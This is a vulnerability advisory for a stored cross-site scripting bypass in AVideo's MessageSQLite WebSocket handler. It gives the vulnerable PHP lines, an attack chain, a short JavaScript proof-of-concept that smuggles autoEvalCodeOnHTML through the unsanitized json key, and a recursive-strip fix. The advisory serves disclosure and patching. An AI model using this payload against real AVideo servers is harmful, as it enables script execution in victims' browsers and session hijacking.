CVE-2026-49279: WWBN AVideo: Stored XSS via autoEvalCodeOnHTML Bypass in MessageSQLite WebSocket Handler (CVE-2026-43874 Bypass)
AVideo: Stored XSS via autoEvalCodeOnHTML in MessageSQLite WebSocket Handler Summary AVideo has a stored XSS vulnerability in the WebSocket messaging system. The MessageSQLite.php handler only strips autoEvalCodeOnHTML from $json['msg'], but msgToResourceId() reads from $msg['json'] with higher priority. An attacker can place the XSS payload in the json key instead of msg, bypassing the sanitization entirely.
Published Jun 4, 2026
Affected packages
wwbn/avideo
- Ecosystem
- Composer (PHP)
- Affected
- <= 29.0
- Fixed in
- No patched version yet
- Check
composer show wwbn/avideo
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
AVideo: Stored XSS via autoEvalCodeOnHTML in MessageSQLite WebSocket Handler
Summary
AVideo has a stored XSS vulnerability in the WebSocket messaging system. The MessageSQLite.php handler only strips autoEvalCodeOnHTML from $json['msg'], but msgToResourceId() reads from $msg['json'] with higher priority. An attacker can place the XSS payload in the json key instead of msg, bypassing the sanitization entirely.
Affected Versions
AVideo <= latest
Vulnerability Details
Root Cause: Shallow sanitization only covers $json['msg']
plugin/YPTSocket/MessageSQLite.php lines 268-271 — the incomplete fix:
if (empty($msgObj->isCommandLineInterface) && ($msgObj->sentFrom ?? '') !== 'php') {
if (is_array($json['msg'] ?? null)) {
unset($json['msg']['autoEvalCodeOnHTML']); // Only strips from $json['msg']
}
}plugin/YPTSocket/MessageSQLite.php lines 361-367 — the bypass via msgToResourceId():
if (!empty($msg['json'])) {
$obj['msg'] = $msg['json']; // $msg['json']['autoEvalCodeOnHTML'] is NEVER stripped
} else if (!empty($msg['msg'])) {
$obj['msg'] = $msg['msg']; // Only this path was sanitized
} else {
$obj['msg'] = $msg;
}Compare with the correctly patched Message.php (lines 254-256):
$json = removeAutoEvalCodeOnHTMLRecursive($json); // Strips from ALL nested pathsAnd MessageSQLiteV2.php (lines 302-303):
$json = removeAutoEvalCodeOnHTMLRecursive($json); // Same recursive fixMessageSQLite.php does not call removeAutoEvalCodeOnHTMLRecursive() at all.
Attack Chain
- Attacker sends a WebSocket message with
autoEvalCodeOnHTMLin thejsonkey instead ofmsg - The fix at line 268-271 only checks
$json['msg']— thejsonkey is untouched msgToResourceId()reads$msg['json']first (line 361) because!empty($msg['json'])is true- The payload is delivered to the victim's WebSocket client and evaluated via
autoEvalCodeOnHTML
Proof of Concept
// Connect to AVideo WebSocket as authenticated user
const ws = new WebSocket('wss://TARGET/plugin/YPTSocket/server.php?token=USER_TOKEN');
ws.onopen = () => {
ws.send(JSON.stringify({
msg: "Hello", // sanitized path — decoy
json: {autoEvalCodeOnHTML: "alert('XSS')"}, // unsanitized path — payload
to_users_id: VICTIM_USER_ID,
resourceId: RESOURCE_ID
}));
};
// Victim's client evaluates alert('XSS') via autoEvalCodeOnHTML mechanismImpact
An authenticated attacker can:
- Execute arbitrary JavaScript in any connected user's browser session via the WebSocket messaging system
- Steal session cookies and authentication tokens
- Perform account takeover via session hijacking
- Chain with CSRF to execute admin actions on behalf of the victim
The vulnerability affects the default SQLite WebSocket backend configuration.
Suggested Remediation
Apply removeAutoEvalCodeOnHTMLRecursive() in MessageSQLite.php, consistent with Message.php and MessageSQLiteV2.php:
// Before (vulnerable — shallow strip):
if (is_array($json['msg'] ?? null)) {
unset($json['msg']['autoEvalCodeOnHTML']);
}
// After (fixed — recursive strip):
$json = removeAutoEvalCodeOnHTMLRecursive($json);Credited to oduoke567.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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